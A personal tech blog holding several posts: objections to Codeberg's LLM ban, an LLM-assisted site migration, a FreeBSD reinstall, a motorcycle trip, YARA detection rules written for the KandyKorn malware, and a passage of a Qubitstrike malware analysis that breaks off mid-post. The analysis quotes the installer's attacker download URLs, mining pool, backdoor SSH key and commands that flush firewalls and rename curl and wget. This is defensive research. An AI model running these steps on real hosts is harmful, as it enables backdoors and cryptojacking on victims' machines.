choosehappy.dev

So long Codeberg, I hardly knew ye

2026-07-24T00:00:00Z

In response to: https://blog.codeberg.org/protecting-our-floss-commons-from-llms.html

When I began the Atomdrift project in early 2026; I made the bold choice to locate it's source code repository at Codeberg instead of GitHub. Why go with such an unknown entity?

GitHub has slowly diluted to be the place for corporate development, and no longer stood for open-source.
GitHub's reliability metrics were laughable at best.
GitHub's approach to securing open-source was even more laughable.
It's niche, but Codeberg offers a useful signal that "this is real community-driven open-source", not some lame attempt at corporate pandering.
To try something new & learn what Codeberg was all about.

My experience with Codeberg

In comparison to GitHub, Codeberg excelled at virtue signalling the open-source aspect of the project, as well as providing a fun & reliable base to operate from. What Codeberg didn't seem to excel at was encouraging engagement: as best as I can tell, nobody discovered Atomdrift through Codeberg; only through other places on the Internet. The lack of an account at Codeberg was a possible impediment to engagement, but one I was OK with.

The only things I never got the hang of on Codeberg were it's Pages implementation (I never did get custom domains to work), or it's take on CI pipelines. I can only assume that Woodpecker CI is better than GitHub Actions - but since I didn't have any external contributions yet, I wasn't too concerned with CI.

Codeberg vs GitHub on reliability felt similar, at least as far as Git pushes via SSH. I can only imagine how difficult it is to run a Git provider with how many round-the-clock slop-driven commits & crawls there are.

Parsing Today's Codeberg Announcement

My heart sank today when I read the "Codeberg Bans Cryptocurrency Projects" article on Hacker News. It seemed like a very arbitrary restriction, one very against my experience with open-source that says "The most successful projects are the most inclusive ones".

The cherry on top was in the comments though, that pointed at another ban, described by Codeberg at Protecting our FLOSS commons from LLMs. There's a lot of good stuff in there, but the most difficult part to swallow was:

Projects that are created by LLM "agents" in autonomous ways
Projects written and maintained with heavy use of LLMs

The Joys of Community

First of all, the coolest thing about this announcement is that Codeberg is truly living up to being a community-led effort: these two bans were put up for a vote; and since 72% of people at the conference voted to ban LLMs; it was done.

LLM Resource Consumption

I get it - LLM's have caused a lot of unnecessary resource usage in the ecosystem. 96.1% of access to https://lab.atomdrift.org/ is via a bot, and not a second goes by that a bot isn't crawling something or another there.

There continues to be a ton of resource waste in LLMs. However, the current situation reminds me a lot of the old worry that every time you "using a Google Search" it would use up X houses worth of electricity. I worked at Google at the time - in a datacenter no less - and that concern was orders of magnitudes inflated.

I think the resource usage situation will get better - it has to in order to make the economics work out for everyone. It at least did for Google Datacenters; when I started there in 2006, the average server sat at just 20% usage, which made zero sense. Then came Borg.

Copyright Concerns

Codeberg's post also brings up the unclear copyright of AI-written source code. I feel like this is sort of a cop-out/unrelated concern, but it's a real issue. I don't put too much value in software copyright (IMHO, the true value of software is how it's maintained), but I acknowledge that many do.

Suffice to say, software copyrights have become weaker every year (see SCO, see Google vs Oracle); and LLM's have only made that process faster. The ability to generate code or art based on patterns from elsewhere without attribution is a troubling omission, but an understandable limitation.

There's admittedly a little bit of uncertainty around copyrighting AI-driven code; but the consensus seems to be settling around it being copyrightable as long as you've edited something yourself in the codebase - or strongly directed the AI to perform; which is still difficult to avoid today. In some respects, I think of LLMs as a non-deterministic precompiler: you still feed it the idea and the data flow, it fills in the blanks.

Banning isn't the right answer

So, I still don't get the ban on cryptocurrency projects, but at least for LLM usage, what I would have rather seen is a policy that LLM-authored projects must declare as such (as mentioned by I regret migrating to Codeberg. I'd also be happy to requried to make a donation to Codeberg to offset the impact.

The worst part about the announcement is the sudden change; what was once a safe inclusive place is now banning things arbitrarily; with no grace period. I get it though, Codeberg doesn't owe us anything: at it's core, it's an open-source project trying to find it's way in the world like so many others.

Why the ban matters to me

As someone with a degenerative joint disease who has been hacking on projects for 35 years, I've been using LLM's as a crutch to stay in the game and keep coding. The alternative is being a software-engineering manager again, and that's not very interesting to me. I've got too many big ideas that I want to see happen, and LLMs have been a godsend for me.

Atomdrift Scan began as an LLM transpiled port of malcontent: a hand-written project I spent thousands of hours working on. malcontent was an evolutionary dead-end, in part because I wrote it in Go, and YARA - one of it's core dependencies moved to Rust, creating a poor experience for users and developers. But malcontent was also a dead-end because I knew it's hand-written rule base couldn't scalable in the age of AI-developed malware.

The fact that it began as a transpiled port means it falls afoul of this policy.

Atomdrift's core advantage is another violation

The reason why Atomdrift Scan outperforms any malware scanner today for 0-day threats (no, seriously - it's true!) is that it's rules and models are constantly improving through a series of parallel self-reinforcement learning loops. If someone reported it as malware, and we didn't detect it, our LLM harness repairs the rules so that each malicious action is reported accurately. Similarly, benign samples are also automatically repaired to keep our default (and tunable) false-positive target at ~25 per 100,000,000 files.

The future of LLMs in software development

LLMs use is seeing an understandable backlash in software development, not far off from the Luddite movement in the 19th century. Skilled laborers, faced with automation and perceived quality lost, rebelled and destroyed the machines they were being asked to work with. Similar to software engineers, they also cited a loss in the level of skill required to produce textiles.

I think we'll eventually see LLMs to be like the use of power tools in modern day building and maintenance: there's certainly a place for them, but it's not universal. Very few houses are constructed without power tools today; but precise details are still often done by hand. The lack of precision and skilled labor is handled by the oversight of a general contractor - just as an LLM needs to be overseen by a skilled engineer. Similarly, in an auto-shop, there are places for power tools (I recently gave up and finally purchased an impact wrench to speed up wheel changes), but most work is still done by hand.

There's a lot of worry about how one trains new engineers in this day and age of LLMs. I'm not too concerned myself: even my CS classes once upon a time were done offline on a pen and paper; which irked me to no end as someone overly dependent on IDE's to catch my typos. I suspect a degree that proves you actually know how software engineering works will become more important than it was in the past.

In this new world, on the job experience will happen much the way it does now - one failure at a time.

Why Codeberg's decision should matter to you.

I know I'm just a small fish, just some Internet rando with a bizarre set of open-source projects.

However, when you see a community-driven project you depend on instituting sudden bans, you should be worried! It's not any different than a homeowners association that picks new rules based on a vote of who's present at that month's meeting. Not only will you feel uneasy building your community on unsteady ground, but so will every one else there.

I wish Codeberg the best of luck, but in my experience: projects that aren't inclusive are eventually replaced by those that are.

Whether it's the ability to constantly attract new contributors through excellent communication, or the ability to attract new users through excellent documentation, projects need a sense of life and movement to survive in the long run.

So, I guess that means I'm moving to GitHub - and writing some documentation (by hand, not by LLM).

Using LLMs to do dirty blog work

2025-07-07T00:00:00Z

After years of content scattered across three sites, I got tired of deciding which abandoned domain to publish to. My Hugo blog at libthom.so had forgotten technical philosophy posts, unfinished.bike had motorcycle adventures, and stromberg.org/t held random static HTML pages. Time to consolidate!

There's a classic developer trap: you want to write a blog post, so instead you write a new blog engine. I was about to fall into the modern AI equivalent - getting an LLM to rebuild my website from scratch.

Windsurf: can stop will stop

I started the migration process with Windsurf since I'd heard good things. I settled on 11eventy as my static website engine of choice, as I was tired of working with hugo, and it apparently supported RSS. My prompt was straightforward:

Create a personal website using 11eventy that incorporates all of the data in the import directory: my old hugo blog, my current personal website, and my write.as posts in JSON format. Blog posts should exist within a /posts/ subdirectory and support RSS feeds.

Every time Windsurf ran an npm command, it would drop to a shell prompt. If I waited, it hung. If I typed "exit", it complained that npm exited with code 127. I couldn't get past npm install.

Windsurf's tab completion while editing markdown was fantastic though, and it did create a decent "about" page before everything fell apart.

Claude Code: 60+ iterations of pain

Frustrated, I switched to Claude Code - a tool I only used for the first time a couple of days ago. Looking at my .claude.json history afterward: 60+ prompts to get a working website.

Here's what actually happened, based on my prompt history:

This new 11eventy website looks ugly and broken. Can you freshen it up?

The main page shows '--- layout: base.njk title: Home ---' on it to readers, and shows no CSS styling. I don't think it should show this text.

blog posts seem to be showing frontmatter and no CSS styling. Can you fix that?

ultrathink on how to make the page design and style extremely minimalist (in the spirit of professional go developers, like rob pike), but still stylish, readable, and happy.

Claude Code struggled with basic concepts like "this file is already markdown, don't convert it" and "that HTML div needs to become markdown." The initial styling looked like a 2005 CSS tutorial. Each iteration of "make this look less terrible" produced marginal improvements.

The one thing that worked smoothly was GitHub Pages deployment. A few iterations to clean up old Hugo workflows and I was done.

All those iterations burned through my $20/mo token limit, so I had to wait 45 minutes before using Claude Code again. Instead I went back to Windsurf to create an "About Me" page.

Fixing hot-linked images

I also had to handle all of the images hosted by i.snap.as (the write.as photo hosting site). If that site ever disappeared, so would all of my images. Once my Claude Code token quota reset after 9pm, I was able to provide a new prompt:

Download each image referenced in a blog article, and store it in the directory alongside the index.md file. Update the markdown files to use the local image reference instead. This is important as the remote website may disappear some day.

Claude Code wrote a Python script that found all remote image URLs across all blog posts, downloaded each image to their respective post directories, and updated all the markdown files to use local paths.

But when I tested the site, the images returned 404 errors:

All of the local image links appear to be returning a 404 error. For example: GET http://localhost:8080/posts/2025/reinstalling-our-home-storage-server-with-jetkvm/tptuHGa1.png

Claude Code quickly diagnosed the issue: Eleventy wasn't configured to copy image files from the posts directory to the build output. One line fix:

eleventyConfig.addPassthroughCopy('posts/**/*.{jpg,jpeg,png,gif,webp,svg}');

One rebuild later, everything worked.

The real story

LLMs are terrible at design decisions or writing with flair, but they are excellent at grinding through tedious work like migrating content from a JSON object you've never seen before. The real value in LLMS isn't intelligence, it's pure energy-burning brute force. On the plus side, at least I didn't burn through my valuable finger cartilage in order to get my website sorted out.

Reinstalling our home storage server with JetKVM

2025-06-21T00:00:00Z

My home office space has been offline for the last two months due to the invasion of 20,000 honeybees. This article is not about that story.

However, when putting everything back into its place, I knew my home storage server running FreeBSD 15-CURRENT was overdue for a wipe and reinstall: it’d been 4 houses, several years, and a handful of domain names since it was initially installed.

One thing I hate about having a home lab is needing to crawl around to fetch a keyboard and monitor for reinstall and recovery ops. Enter the JetKVM, a nifty little device that promised to make this painful process a bit more bearable.

Setting Up the JetKVM

JetKVM is a tiny & cheap hardware KVM-over-IP solution that lets you remotely control servers via a web browser. I’d ordered mine months ago via Kickstarter, but today was my first shot at using it.

Getting the JetKVM ready was refreshingly straightforward:

Connect the HDMI cable
Connect the USB-C cable
Connect Ethernet
Visit IP displayed on it’s tiny little screen with a web browser

Once I turned the machine on, I was greeted with a familiar boot screen that we’ve seen on PC devices since the 1980’s.

Mapping Out the Existing Storage

I had 10TB of data on this machine to preserve, so I wanted to get a quick map of which disks were what before accidentally wiping something. If I’d been less lazy, I would have unplugged the drives with data.

zpool status -v revealed my storage layout:

slow: ada1 (14TB spinning disk - my bulk storage)
zroot: nda0p4 (NVMe drive confirmed via the nda(4) man page)
fast: ada0 (4TB SATA drive)

FreeBSD's device naming is logical once you know the patterns: nda for NVMe, ada for SATA/PATA drives.

Booting FreeBSD ISO using JetKVM Virtual Media

From my MacBook Pro, I started to setup a bootable USB drive using this classic incantation:

sudo diskutil list | grep external
/dev/disk4 (external, physical):

sudo dd if=$HOME/Downloads/FreeBSD-15.0-CURRENT-amd64-20250612-e6928c33f60c-277883-mini-memstick.img of=/dev/disk4s1 bs=10240

I used the JetKVM virtual keyboard to insert the “Del” button to enter BIOS and set the boot device order up so that it would boot off of the USB stick. But wait, what’s this “JetKVM Virtual Media” device?

Then I noticed this curious “Virtual Media” button in the JetKVM screen - was it possible to upload a disk image to this thing and boot it up without worrying about USB sticks and dd commands? It turns out you can - what a game changer:

Click “Virtual Media
Click “Add New Media”
Click “JetKVM Storage Mount”
Select local file, click Upload
Click “Mount File”

One quirk I discovered for FreeBSD is that only the CD/DVD ISO image boots properly via JetKVM Virtual Media, not the memstick images.

Navigating Installation Quirks

It’s been nearly 30 years after my first FreeBSD installation (2.2.0), and I still find new quirks that cause me to go into menu loops. This time it did not like that my system already had a “zroot” pool defined. This was easy enough to fix by selecting the “Shell” option from the partitioning menu:

zpool import zroot
zpool destroy zroot

After that, the rest was smooth sailing.

Configuring Remote Access

The JetKVM is fine as an emergency connectivity option, but nothing beats SSH and a static IP for ease of use. I immediately dove into /etc/rc.conf and defined:

ifconfig_igb0="inet 10.9.8.7 netmask 255.255.255.0"

FreeBSD makes it easy to reconfigure interfaces based on the stored configuration:

/etc/rc.d/netif restart

I like configuring SSH (/etc/sshd/sshd.conf) avoid brute-force attacks from flooding the logs, as well as make them hopeless:

Port 32022
PasswordAuthentication no
KbdInteractiveAuthentication no
PermitRootLogin yes

Another quick service restart and SSH was ready:

/etc/rc.d/sshd restart

The Connectivity Plot Twist

Here's where my smooth reinstall hit a snag. After getting everything configured, I couldn't reach GitHub:

$ git clone https://github.com/tstromberg/commit-etc.git
Cloning into 'commit-etc'...
fatal: unable to access 'https://github.com/tstromberg/commit-etc.git/': Failed to connect to github.com port 443 after 23 ms: Could not connect to server

DNS was working fine - host github.com returned the expected results:

$ host github.com
github.com has address 140.82.114.4
github.com mail is handled by 10 alt4.aspmx.l.google.com.
github.com mail is handled by 1 aspmx.l.google.com.
...

But trying to actually connect revealed the issue:

$ curl -vvv github.com
== Info: Host github.com:80 was resolved.
== Info: IPv4: 140.82.112.4
== Info:   Trying 140.82.112.4:80...
== Info: Immediate connect fail for 140.82.112.4: Network is unreachable
== Info: Failed to connect to github.com port 80 after 23 ms: Could not connect to server
curl: (7) Failed to connect to github.com port 80 after 23 ms: Could not connect to server

The culprit? I'd forgotten to set the default gateway. I added defaultrouter="10.9.8.1" to /etc/rc.conf and restarted routing:

/etc/rc.d/routing restart

I liked having the extra security blanket of the JetKVM in case I botched the networking configuration.

Essential Tools and Services

Once connectivity was restored, I could install my usual set of server tools:

pkg install tmux fish git doas rsync go syncthing

SyncThing gets special mention here as my go-to solution for keeping files synchronized across machines. It deserves it's own article, but getting it running is just:

sysrc syncthing_enable=YES
/usr/local/etc/rc.d/syncthing start

The sysrc command is FreeBSD's clean way to modify /etc/rc.conf programmatically - less error prone than manual edits.

Configuration Management

I also needed to get my system configuration management back online. My approach is to keep /etc under version control with a simple script setup:

git clone https://github.com/tstromberg/commit-etc.git

cp commit-etc.sh $HOME/commit-etc

$HOME/commit-etc/commit-etc.sh

echo "0 0 * * * $HOME/commit-etc/commit-etc.sh" |crontab -e

Now any system changes I make will be automatically translated into git commits.

Panic!

The FreeBSD “CURRENT” stream is considered “alpha” quality and well-known for stability issues. Even so, I was surprised to get a panic so quickly, induced by my attempt to sync terrabytes worth of data to an external drive via USB 3.0:

The JetKVM proved its worth here too - as it made persistent out-of-band access to my server a painless affair. Otherwise, I would have had to fetch a monitor out to see the panic message.

After some tweaks, FreeBSD 15-CURRENT is running smoothly now, with a clean ZFS setup and all my essential services back online. The combination of solid documentation (those man pages!), logical device naming, and straightforward service management makes FreeBSD a pleasure to work with, even during major system changes.

Detecting the Lottie supply-chain attack with malcontent

2024-11-01T00:00:00Z

Some of you may have heard that there was another supply-chain attack against an open-source project yesterday - this time in a Javascript library called Lottie Web Player.

I have yet to talk much about it, but earlier this year I started an open-source project named malcontent that detects precisely this kind of attack: malicious changes in open-source software. This is very relevant to my day job at Chainguard.

malcontent summarizes the risks and capabilities of a file and alerts when a new version substantially changes those risks and capabilities. It's easier to show you with a screenshot:

In a nutshell: mal diff calculated that the risk of file went from MEDIUM to CRITICAL between two revisions. In doing so, it surfaced a number of new behaviors that would catch the eye of a code reviewer. The idea here is that no tool will be able to give you a 100% reliable answer to “Is it malicious or not?” but as a code reviewer, you have the context of what functionality changes are reasonable to you for the library you are consuming.

malcontent works on any file you might encounter in open source, from shell scripts to Linux ELF binaries to macOS machO binaries and PHP. While we’ve incorporated over 15,000 YARA rules, we're far from the same quality level as VirusTotal; so if you are handy in YARA or Go or would like to learn more about them, PRs are welcome!

PS - malcontent can also be used as a basic malware scanner - but it isn’t yet as impressive as the “diff” mode: mal scan /path

Motocamping with the BMW CE 04

2023-11-21T00:00:00Z

This weekend, I took my funky electric BMW CE 04 camping at the edge of the Uwharrie Mountains for 3 days, covering 170 miles (270km). The trip was a breeze, so skip this post if you are looking for drama.

This was an unofficial camping trip with folks from my daughter’s girl scout troop. She wanted to travel with her friends, but I still had to be prepared to take her home on the bike, so everything had to fit for the two of us:

From a packing perspective, the most creative thing I did was tape my tools to the back of the helmet compartment in the CE 04. There is an indented area on the back wall there that is otherwise unused:

Once that’s in, the helmet compartment still easily fits a helmet or two sleeping bags and a J1772 charger cable:

I didn’t mind if the tent and chairs got wet, so I placed them up against the top case.

The route I picked was setup so that I would charge twice in each direction so that I would have enough range to find a “Plan B” in case of a charging problem. I found the chargers using PlugShare and then plugged them into BMW’s navigation software to find the twistiest route possible:

The first river crossing was the Haw River, named after the native tribe that once occupied this area. The tribe disappeared through death and assimilation after 1715, but the place names live on in their memory. North Carolina is filled with Native American history, and even today, North Carolina has the highest number of Native American residents (122,000) this side of the Mississippi.

The first charging stop was at Welford Harris Ford in Siler City, where a most curious and friendly manager welcomed me. He’d never seen an electric motorcycle before. I usually avoid charging at car dealerships because they have the lowest likelihood of functioning in my experience. Dealerships never seem to have more than 1 charging port, which is often deactivated, locked away, in use by a dealership car, or deemed customers only.

Welford Harris Ford, on the other hand, is exceptionally friendly and has a great food options nearby, so you can fill your belly while you fill your battery:

By the time I had lunch and returned to the bike, it had charged from 43% to 100%. Heading south from there toward the Deep River, I was soon welcomed by a series of abandoned barns, chicken coops & textile mills. Also: rain. Not enough to slow me down too much, but enough to make me take the curves carefully as they were filled with wet fall leaves.

At the Deep River, I encountered Coleridge, home of Enterprise Manufacturing - this cotton mill was built in the late 1800s, it’s been shuttered for the last 65 years:

There was even 3-4 miles of quiet gravel roads to enjoy. It still blows me away how well the CE 04 handles gravel. Somehow, I feel more confident. on it in gravel than I did with my old F650GS Dakar.

Just south of Asheboro, I stopped at the North Carolina Zoo for a free charge and a much needed bathroom break. I’m always skeptical of free chargers, as people often unnecessarily camp their cars out at them. It’s a cold & rainy day, and the zoo provides more chargers (6!) than anywhere else I’ve been outside of a Tesla Supercharger, so it was no hassle.

I went a little out of my way to check out Seagrove, the Pottery Capital of the United States. There are more working potters per capita here than anywhere else in the US. Every building in the town seemed to cater to pottery somehow.

Heading south down via Ether Rd & Okeewemee (meaning “land between two rivers”), I avoided the highway and passed farm after farm: mostly cows, but also horses and sheep. I also noticed the youth of the trees here: it seems like everything around me had been clear-cut at least once in the last 25 years.

I soon arrived at our campground, an old farm in Troy, NC. It was gorgeous and peaceful. The host, Karl, was exceptionally welcoming and gregarious. He showed me around the expansive property, where I could charge my bike and place my tent, and welcomed me into his home. We soon had a campfire with smores.

My new tent, the Big Agnes Tiger Wall 2 (bikepacking version) was easy to set up and did not leak any rain: it’ll cozily fit two people and their gear and packs up exceptionally small. After a good nights rest, I woke up early in the morning to take some photos of the farm:

We made a day of going to the North Carolina Zoo in Asheboro, where I found my spirit animal, the Colorado River Toad. I had read about the psychotropic characteristics of this species as a teenager and soon referred to my peers as “toadblowers” for reasons I still don’t understand.

The next day it was time to head home. As I had initially planned for my daughter to join me on the way home, I selected a known good route home with known-good EV charging options. She, however, decided to ride back with her friends, so I took the time to scout out some new charging options. Here’s the Blink Charger at Montgomery Ford in Troy, NC - you can charge a bike here, but they always leave a Mustang Mach-E parked here, so don’t count on charging your car:

The nearby tiny town of Biscoe had a charger listed on PlugShare as vandalized and inoperable since July, so I dropped by to confirm that this is still the case. It’s weird to think that folks would vandalize an EV charger, but I imagine it was bored teenagers more than a nefarious group of anti-EV constituents.

Robbins, NC, has my vote for the most charming small town in the Piedmont. It has a lovely EV charger near a great coffee shop, walking trails, and Carolina Fried Chicken and House of Pizza (aka “Chicken Hut”) I stopped here to recharge myself and the CE 04: by the time I returned to the bike, it was at 99%.

After Robbins, I followed River Rd for a beautiful twisty route along the Deep River. The fall leaves and gentle curves quickly instilled a sense of peace in me. The next and final planned stop was the charger at the Goldston Public Library, where I arrived with a 53% charge.

I was in a hurry to get home and made the mistake of going by intuition and unplugging the bike at 68% rather than looking up how much charge I needed. I thought I only needed a 55% charge to get home from there, but it turned out to be 72% - so I made one last charging top-off at the Chatham County Agriculture & Conference Center to add another 15% onto the bike before reaching home.

Thinking back to this trip, it amazes me how many people went into making such an adventure possible: from the folks who organized the campout to the engineers who designed the EV chargers, and the people who built the roads. It’s a good reminder that behind all this amazing technology is a sea of people working together for the greater good of. the world.

That thought fills my heart. Until next time, keep the shiny side up.

KANDYKORN and the power of generic YARA detectors

2023-11-04T00:00:00Z

At my current employer, nation-state actors are part of our threat model. So, I get a little excited when someone posts malware that is tied to one of the big-4 (China, North Korea, Russia, United States of America). Last week, Elastic Security Labs posted an article titled DPRK passing out KANDYKORN outlining the latest macOS malware discovery from North Korea, and this week a sample appeared in the Objective-See Malware collection for inspection.

I threw our YARA queries at Kandy Korn, and found that 2 of the 3 binaries were identified as suspicious:

MEDIUM objective-see/KandyKorn/kandykorn
  * generic_scan_tool
      f_gethostbyname: gethostbyname
      f_socket: socket
      f_connect: connect
      o_probe: probe
      o_port: port
  - sha256: 927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6
/Users/t/src/malware/objective-see/KandyKorn/log

MEDIUM objective-see/KandyKorn/log
  * opaque_macho_binary
      word_with_spaces: ja kw
  - sha256: 3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940

However, no virus scanners could detect this Malware until this week. That's the power of generic YARA detectors: once you define your baseline of normalcy, you can detect the truly weird things that circulate through your network.

Two generic YARA techniques worth trying

What do I mean by a generic YARA detector? I mean YARA rules that are designed to match multiple kinds of suspicious binaries, even those you have never seen before.

I'm going to share these two YARA rules that were capable of catching KandyKorn before it was published. The first generic query detects portscanners - it’s what I refer to as a “capabilities-based” detector:

rule generic_scan_tool {
  strings:
    $f_gethostbyname = "gethostbyname"
    $f_socket = "socket"
    $f_connect = "connect"
    $o_banner = "banner"
    $o_Probe = "Probe"
    $o_probe = "probe"
    $o_scan = "scan"
    $o_port = "port"
  condition:
    all of ($f*) and any of ($o*)
}

This rule works by trying to guess at the capabilities of a program by parsing through strings it mentions. YARA rules excel at discovering the latent capabilities of a program, which can ocassionally catch things that behavioral analysis misses.

My second favorite kind of detector is an obfuscation-detector: searching for binaries that seem to have gone through a process to hide the strings a capabilities-based detector might rely on.

This query uncovers Mach-O binaries that have been intentionally obfuscated, by measuring the number of words found with spaces between them:

rule opaque_macho_binary {
  strings:
    $word_with_spaces = /[a-z]{2,} [a-z]{2,}/
  condition:
    filesize < 52428800 and (uint32(0) == 4277009102 or uint32(0) == 3472551422 or uint32(0) == 4277009103 or uint32(0) == 3489328638 or uint32(0) == 3405691582 or uint32(0) == 3199925962) and #word_with_spaces < 4
}

The idea is that very few Mach-O binaries have no sentence references. These sentences are sometimes error messages, sometimes usage messages, and sometimes phrases that are displayed to the screen. Almost no binaries have less than 4 words with spaces.

Since writing this rule, I haven't seen that alert fire for anything other than malware, and it has caught quite a few samples.

Here's a bonus query that matches the "Discord" binary by way of looking at its capabilities. This query Swift binaries that ship with a debugging entitlement and references executables, which isn't a common combination. This entitlement is normally stripped when you ship a binary, but I guess the DPRK did not get that memo.

rule swift_debug_program_with_exec_ref {
	strings:
		$task_allow = "com.apple.security.get-task-allow"
		$mh_execute_header = "_mh_execute_header"
		$executable = "executable"
		$swift_force_load = "__swift_FORCE_LOAD"
	condition:
		all of them
}

This next generic query also matches Janicab, though I suspect it will also yield false positives:

rule executable_place_ref {
	strings:
		$xecURL = "xecURL"
		$xecutableURL = "xecutableURL"
		$xecUrl = "xecUrl"
		$xecutableUrl = "xecutableUrl"
		$xecFile = "xecFile"
		$xecutableFile = "xecutableFile"
	condition:
		any of them
}

The “kandykorn” binary has many opportunities to be matched generically based on latent capabilities. For example, very few programs list system pids and reference libcurl:

rule proc_listpids_and_curl {
	strings:
		$proc_listpids = "proc_listpids"
		$libcurl = "libcurl"
	condition:
		all of them
}

Similarly, the log binary (aka SUGARLOADER) can be matched by the following YARA query:

rule notification_dialog_with_sysctl_and_curl {
	strings:
		$display_alert = "CFUserNotificationDisplayAlert"
		$socket = "socket"
		$sysctl = "sysctl"
		$getpid = "getpid"
		$curl = "curl"
	condition:
		all of them
}

Some may argue that generic queries like this are a headache due to false-positive management, but it depends on your mission and threat model: are you more interested in catching known or unknown malware? If the latter, try generic queries and aggressively update them to reduce the false positive rate to near zero. Consider all alerts to be actionable.

If you need hints as to what to match in your generic queries, here's an alias I keep around to extract the more important strings for UNIX binaries:

strings - "$1" 
  | egrep "/[a-zA-Z][a-z]{2,}|[A-Za-z]{4}|[a-zA-Z]{2}-[a-zA-Z]{2}|\d+\.\d+\.\d+|[0-9a-f]:[0-9a-f]" 
  | egrep -v "^(__TEXT|__DATA|__text|__stubs|__cstring|__const|__data|__common|__LINKEDIT|__literals|__ojc_methname|__unwind_info|__mod_init_func|__obj_|__la_symbol_ptr|__eh_frame|__DATA_CONST|__PAGEZERO|__init_offsets|__swift5_.*|__objc_.*|AUAT.*|AVAUI.*)$" | uniq

Good luck out there!

Qubitstrike: Linux kernel rootkits go mainstream

2023-10-21T00:00:00Z

Earlier this week, I stumbled into Cado's report on Qubitstrike, an attack on publicly accessible Jupyter notebook installations. Unlike most security reports, the hosted malware files were still available, which meant I could analyze and validate our defenses against it. Normally, I don't get this opportunity to study emerging threats, as I'm not paying the $20,000/yr paywall fee for access to Google's VirusTotal service that most researchers seem to rely on.

I really like QubitStrike: it has a bit of everything and is easy to dissect. The most exciting thing about it is that it's the first example I've seen of casual attackers employing a kernel rootkit that actually works on the latest versions of popular Linux distributions. Let's take a tour!

The Qubitstrike Installer

If you ever wanted to study how your modern malware installer operates on Linux, the Qubitstrike installer script is the perfect case study for you - it's like a tasting tour of UNIX malware techniques in a single easy-to-read shell script.

Two Linux rootkits (kernel and user-mode)
Process hiding
Credential theft
An SSH backdoor
A viral component
A cryptocurrency miner
Telegram integration

To follow along, I've posted a copy of the original installer script here: mi.sh. If you want to test the installer yourself within a VM, I've made a defanged copy of it that works without downloading content from codeberg: local-mi.sh

Installer Initialization

miner_url="https://codeberg.org/m4rt1/sh/raw/branch/main/xm64.tar.gz"
miner_name="python-dev"
killer_url="https://codeberg.org/m4rt1/sh/raw/branch/main/killer.sh"
kill_url2="https://codeberg.org/m4rt1/sh/raw/branch/main/kill_loop.sh"
pool="pool.hashvault.pro:80"
MD5="199b790d05724170f3e6583500799db1"
DIR="/usr/share/.LQvKibDTq4"
RSA="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali"
[[ $EUID -eq 0 ]] || DIR="/tmp/.LQvKibDTq4" ;

Even the initialization part of the script contains multiple detection opportunities, as the following things are highly irregular to find in executables or shell scripts:

References to codeberg.org/.*/raw/
References to hashvault or miner_
References to hidden /usr/share and /tmp directories
SSH keys

Fetch Tools

I'm now going to show the installer output in debug mode (using bash -x), as it usually makes the behavior easier to discern. If you are on a Linux distro that has "apt", "yum", or "apk" package manager available, the script will install curl or wget for you:

---------------------------------------
 INSTALLING WGET, CURL ...
---------------------------------------
+ type apt
+ apt-get update --fix-missing
Hit:1 http://archive.ubuntu.com/ubuntu lunar InRelease                   
Hit:2 http://security.ubuntu.com/ubuntu lunar-security InRelease         
Hit:3 http://archive.ubuntu.com/ubuntu lunar-updates InRelease           
Hit:4 http://archive.ubuntu.com/ubuntu lunar-backports InRelease
Reading package lists... Done
+ apt-get install wget curl -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
wget is already the newest version (1.21.3-1ubuntu1).
curl is already the newest version (7.88.1-8ubuntu2.3).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

A script or executable containing "apt-get install wget curl -y" is probably malware, so it's not a bad thing to alert on. Once a fetch tool is installed, it moves it to a new location to break future attackers, as well as bypass detection queries that look for wget or curl:

---------------------------------------
 Replacing WGET, CURL ...
---------------------------------------
+ sleep 1s
+ [[ -f /usr/bin/wget ]]
+ mv /usr/bin/wget /usr/bin/zget
+ [[ -f /usr/bin/curl ]]
+ mv /usr/bin/curl /usr/bin/zurl
+ [[ -f /bin/wget ]]
+ [[ -f /bin/curl ]]
++ command -v zget
+ [[ -x /usr/bin/zget ]]
+ req='zget -q -O -'
+ DLr='zget -O'

Then we use the newly renamed fetch tool to query for our Internet IP using ifconfig.me. The script later uses this value as a client ID:

++ zget -q -O - ifconfig.me
+ client=136.54.68.146

The "restart" argument

Curiously, the installer supports a restart argument, which provides a handy way to re-set up an infected host. It also gives you a starting point to sort out how to clean up an infected host, though it doesn’t seem to do anything about the kernel rootkit or other system-level changes:

    chattr -R -i /usr/share/.LQvKibDTq4/
    rm -rf /usr/share/.LQvKibDTq4/
    rm -rf /tmp/.LQvKibDTq4/
    rm -rf /usr/share/.28810
    rm -rf /etc/cron.d/netns
    chattr -i /etc/ld.so.preload
    chattr -i /usr/local/lib/libnetresolv.so
    rm -rf /usr/local/lib/libnetresolv.so /etc/ld.so.preload
    pkill -f python-dev
    pkill python-dev
    killall python-dev
    mkdir -p $DIR
    start

Begin Disable Security

Now things get serious, as the malware begins by actively degrading the security posture of the Linux host:

---------------------------------------
 Begin disable security 
---------------------------------------
+ cover
+ iptables -F
+ systemctl stop firewalld
+ systemctl disable firewalld

At this point, it has flushed all existing iptables firewall rules and killed off the firewalld firewall manager (used mainly by Red Hat). Next, the script increases the file descriptor count from a typical value of 1024 to 65535 for reasons I'm not quite sure of.

+ ulimit -n 65535

Then, it begins disabling the shell command history. First, by hiding all commands that begin with a with a " " character:

